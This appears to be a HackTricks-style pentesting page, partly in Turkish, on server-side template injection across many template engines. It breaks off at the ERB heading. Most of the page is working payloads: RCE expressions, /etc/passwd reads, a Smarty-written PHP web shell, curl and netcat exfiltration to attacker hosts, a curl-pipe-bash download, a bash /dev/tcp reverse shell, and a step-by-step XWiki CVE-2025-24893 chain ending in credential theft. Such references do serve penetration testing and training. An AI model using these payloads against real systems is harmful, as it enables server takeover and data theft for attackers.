SSTI (Server Side Template Injection)

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

What is SSTI (Server-Side Template Injection)

Server-side template injection, bir saldırganın sunucuda çalıştırılan bir şablona kötü amaçlı kod enjekte edebilmesi durumunda ortaya çıkan bir güvenlik açığıdır. Bu güvenlik açığı Jinja da dahil olmak üzere çeşitli teknolojilerde bulunabilir.

Jinja, web uygulamalarında kullanılan popüler bir şablon motorudur. Jinja kullanan ve savunmasız bir kod parçasını gösteren bir örneği ele alalım:

output = template.render(name=request.args.get('name'))

Bu savunmasız kodda, kullanıcının isteğindeki name parametresi render fonksiyonu kullanılarak doğrudan şablona aktarılıyor. Bu, potansiyel olarak bir saldırganın name parametresine kötü amaçlı kod enjekte etmesine ve bunun sonucunda server-side template injection’a yol açmasına izin verebilir.

Örneğin, bir saldırgan şu gibi bir payload içeren bir istek oluşturabilir:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} is injected into the name parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.

Bu payload name parametresine enjekte edilir. Bu payload Jinja template directives içerebilir; bu da saldırganın yetkisiz kod çalıştırmasına veya şablon motorunu manipüle etmesine olanak vererek potansiyel olarak sunucunun kontrolünü ele geçirmesine neden olabilir.

To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.

server-side template injection vulnerabilities’ı önlemek için geliştiriciler, kullanıcı girdilerinin şablonlara yerleştirilmeden önce uygun şekilde temizlendiğinden ve doğrulandığından emin olmalıdır. Girdi doğrulaması uygulamak ve bağlama duyarlı kaçış (escaping) teknikleri kullanmak, bu zafiyetin riskini azaltmaya yardımcı olur.

Detection

To detect Server-Side Template Injection (SSTI), initially, fuzzing the template is a straightforward approach. This involves injecting a sequence of special characters (${{<%[%'"}}%\) into the template and analyzing the differences in the server’s response to regular data versus this special payload. Vulnerability indicators include:

Bu tür zafiyetleri tespit etmek için başlangıçta fuzzing the template basit ve etkili bir yöntemdir. Bu, template’e (${{<%[%'"}}%\) gibi özel karakter dizilerini enjekte etmeyi ve sunucunun normal veri ile bu özel payload’a verdiği yanıtlar arasındaki farkları analiz etmeyi içerir. Zafiyet belirteçleri şunlardır:

  • Thrown errors, revealing the vulnerability and potentially the template engine.

  • Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.

  • Plaintext Context: Distinguish from XSS by checking if the server evaluates template expressions (e.g., {{7*7}}, ${7*7}).

  • Code Context: Confirm vulnerability by altering input parameters. For instance, changing greeting in http://vulnerable-website.com/?greeting=data.username to see if the server’s output is dynamic or fixed, like in greeting=data.username}}hello returning the username.

  • Atılan hatalar — zafiyeti ve potansiyel olarak hangi şablon motorunun kullanıldığını ortaya çıkarır.

  • Yansıtmada payload’ın olmaması veya parçalarının eksik olması — bu, sunucunun bunu normal veriden farklı işlediğini ima eder.

  • Düz Metin Bağlamı: Sunucunun şablon ifadelerini değerlendirip değerlendirmediğini kontrol ederek XSS’ten ayırt edin (ör. {{7*7}}, ${7*7}).

  • Kod Bağlamı: Girdi parametrelerini değiştirerek zafiyeti doğrulayın. Örneğin http://vulnerable-website.com/?greeting=data.username içindeki greeting parametresini değiştirip sunucunun çıktısının dinamik mi yoksa sabit mi olduğunu kontrol edin; mesela greeting=data.username}}hello username’i döndürüyorsa.

Identification Phase

Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include ${7/0}, {{7/0}}, and <%= 7/0 %>. Observing the server’s response to mathematical operations helps pinpoint the specific template engine.

Şablon motorunu (template engine) belirlemek, hata mesajlarını analiz etmeyi veya farklı diller için özel payload’ları manuel olarak test etmeyi içerir. Hata oluşturan yaygın payload’lar ${7/0}, {{7/0}} ve <%= 7/0 %> örnekleridir. Sunucunun matematiksel işlemlere verdiği yanıtı gözlemlemek, kullanılan şablon motorunu tespit etmeye yardımcı olur.

Identification by payloads

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Tools

TInjA

an efficient SSTI + CSTI scanner which utilizes novel polyglots

yeni polyglotları kullanan etkili bir SSTI + CSTI tarayıcısıdır.

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

etkileşimli bir tablo; en etkili template injection polyglots ile 44 en önemli şablon motorunun beklenen yanıtlarını içerir.

Exploits

Generic

Bu wordlist’te aşağıda bahsedilen bazı şablon motorlarının ortamlarında tanımlı variables defined’leri bulabilirsiniz:

  • https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
  • https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Sistemin ortam değişkenlerini al

${T(java.lang.System).getenv()}

Java - /etc/passwd’i Elde Etme

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Payload’larınızı şu adreste deneyebilirsiniz: https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Nothing
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox bypass

⚠️ yalnızca Freemarker sürümleri 2.3.30’dan düşük olanlarda çalışır

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Daha fazla bilgi

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Daha fazla bilgi

Thymeleaf

Thymeleaf’te, SSTI zafiyetlerini test etmek için yaygın bir ifade ${7*7} olup bu şablon motoru için de geçerlidir. Olası remote code execution için aşağıdaki gibi ifadeler kullanılabilir:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf bu ifadelerin belirli attribute’lar içinde yer almasını gerektirir. Ancak, expression inlining diğer şablon konumları için desteklenir ve [[...]] veya [(...)] gibi sözdizimleri kullanılır. Bu nedenle basit bir SSTI test payload’u [[${7*7}]] şeklinde olabilir.

Bununla birlikte, bu payload’un çalışması genelde düşük bir olasılıktır. Thymeleaf’in varsayılan yapılandırması dinamik template üretimini desteklemez; şablonlar önceden tanımlanmış olmalıdır. Geliştiricilerin, stringlerden şablonları anlık oluşturmak için kendi TemplateResolver’larını uygulamaları gerekir ki bu yaygın değildir.

Thymeleaf ayrıca çift alt çizgi (__...__) içindeki ifadelerin ön-işlemden geçirildiği expression preprocessing özelliğini sunar. Bu özellik, Thymeleaf dokümantasyonunda gösterildiği gibi ifadelerin oluşturulmasında kullanılabilir:

#{selection.__${sel.code}__}

Thymeleaf’te Bir Zafiyet Örneği

Aşağıdaki kod parçacığını dikkate alın; istismara açık olabilir:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Bu, şablon motoru bu girdileri yanlış işlerse, remote code execution ile aşağıdaki gibi URL’lere erişilebileceğini gösterir:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Daha fazla bilgi

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

Birden fazla değişken ifadesi kullanılabilir; eğer ${...} işe yaramazsa #{...}, *{...}, @{...} veya ~{...} deneyin.

  • /etc/passwd dosyasını okuyun
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Özel Script ile payload oluşturma
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Daha Fazla Bilgi

Spring Görünüm Manipülasyonu (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Eski Pebble sürümü ( < sürüm 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Pebble’in yeni sürümü :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava, Hubspot tarafından geliştirilen açık kaynak bir projedir, şu adreste mevcuttur: https://github.com/HubSpot/jinjava/

Jinjava - Command execution

Düzeltildi: https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Daha fazla bilgi

Hubspot - HuBL (Java)

  • {% %} komut ayırıcıları
  • {{ }} ifade ayırıcıları
  • {# #} yorum ayırıcıları
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - “A”
  • {{'a'.concat('b')}} - “ab”
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

“com.hubspot.content.hubl.context.TemplateContextRequest” için arama yapıldığında Jinjava project on Github bulundu.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Daha fazla bilgi

Expression Language - EL (Java)

  • ${"aaaa"} - “aaaa”
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL), JavaEE’de sunum katmanı (ör. web sayfaları) ile uygulama mantığı (ör. managed beans) arasındaki etkileşimi kolaylaştıran temel bir özelliktir. Bu iletişimi düzenlemek için birden çok JavaEE teknolojisinde yaygın olarak kullanılır. EL’i kullanan başlıca JavaEE teknolojileri şunlardır:

  • JavaServer Faces (JSF): JSF sayfalarındaki bileşenleri ilgili backend verilerine ve aksiyonlara bağlamak için EL kullanılır.
  • JavaServer Pages (JSP): JSP sayfalarında veriye erişmek ve veriyi işlemek için EL kullanılır; sayfa öğelerini uygulama verisine bağlamayı kolaylaştırır.
  • Contexts and Dependency Injection for Java EE (CDI): EL, web katmanı ile managed bean’ler arasında kesintisiz etkileşim sağlamak için CDI ile entegre olur; daha tutarlı bir uygulama yapısı sağlar.

Daha fazla bilgi için aşağıdaki sayfayı inceleyin: exploitation of EL interpreters

EL - Expression Language

Groovy (Java)

Aşağıdaki Security Manager bypass’ları bu writeup adresinden alınmıştır.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

XWiki SolrSearch Groovy RCE (CVE-2025-24893)

XWiki ≤ 15.10.10 (15.10.11 / 16.4.1 / 16.5.0RC1’de düzeltilmiş) Main.SolrSearch macro aracılığıyla kimlik doğrulaması gerektirmeyen RSS arama beslemelerini render eder. Handler text sorgu parametresini alır, wiki sözdizimine sarar ve macro’ları değerlendirir; bu yüzden }}} ve ardından {{groovy}} enjekte etmek JVM’de rastgele Groovy yürütür.

  1. Parmak izi & kapsam – XWiki host-based routing arkasında reverse-proxy ile çalışıyorsa, wiki vhost’u bulmak için Host başlığını fuzz edin (ffuf -u http://<ip> -H "Host: FUZZ.target" ...), sonra /xwiki/bin/view/Main/ adresini açıp footer’ı (XWiki Debian 15.10.8) okuyarak savunmasız build’i tespit edin.
  2. Trigger SSTI – Request /xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item <title> Groovy çıktısını içerecektir. Her zaman “URL-encode all characters” yapın, böylece boşluklar %20 olarak kalır; bunları + ile değiştirmek XWiki’in HTTP 500 atmasına neden olur.
  3. Run OS commands – Groovy gövdesini {{groovy}}println("id".execute().text){{/groovy}} ile değiştirin. String.execute() komutu doğrudan execve() ile başlattığı için kabuk meta karakterleri (|, >, &) yorumlanmaz. Bunun yerine download-and-execute desenini kullanın:
  • "curl http://ATTACKER/rev -o /dev/shm/rev".execute().text
  • "bash /dev/shm/rev".execute().text (script reverse shell mantığını içerir).
  1. Post exploitation – XWiki veritabanı kimlik bilgilerini /etc/xwiki/hibernate.cfg.xml içinde saklar; hibernate.connection.password’in leak edilmesi gerçek sistem parolalarını açığa çıkarır ve bunlar SSH üzerinden yeniden kullanılabilir. Eğer service unit NoNewPrivileges=true olarak ayarlanmışsa, /bin/su gibi araçlar geçerli parolalarla bile ek ayrıcalık kazanamaz; bu yüzden yerel SUID ikili dosyalara güvenmek yerine SSH ile pivot yapın.

Aynı payload /xwiki/bin/get/Main/SolrSearch üzerinde de çalışır ve Groovy stdout her zaman RSS title içinde gömülüdür; bu yüzden komutları script ile enumerate etmek kolaydır.

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Daha fazla bilgi

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Error
  • {{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Şablon formatı

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Daha fazla bilgi

Plates (PHP)

Plates, PHP’ye özgü, Twig’ten ilham alan bir şablon motorudur. Ancak Twig yeni bir sözdizimi getirirken, Plates şablonlarda yerel PHP kodunu kullanır; bu da onu PHP geliştiricileri için sezgisel kılar.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Sayfa şablonu:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Düzen şablonu:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Daha fazla bilgi

PHPlib ve HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib ile aynıdır ancak Pear’e port edilmiştir.

authors.tpl

<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Daha fazla bilgi

Diğer PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Daha fazla bilgi

patTemplate (PHP)

patTemplate derleme yapmayan bir PHP şablon motorudur; bir belgeyi farklı parçalara ayırmak için XML etiketlerini kullanır.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Daha fazla bilgi

Handlebars (NodeJS)

Path Traversal (daha fazla bilgi here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Hata
  • ${7*7} = ${7*7}
  • Hiçbir şey
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Daha fazla bilgi

JsRender (NodeJS)

ŞablonAçıklama
Çıktıyı değerlendirir ve renderlar
HTML kodlu çıktıyı değerlendirir ve renderlar
Yorum
vecode’a izin ver (varsayılan olarak devre dışı)
  • = 49

İstemci Tarafı

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Sunucu Tarafı

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Daha fazla bilgi

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Örnek server side render

var pugjs = require("pug")
home = pugjs.render(injected_page)

Daha fazla bilgi

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Çıktı yok
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Hata
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}

Daha fazla bilgi

Diğer NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

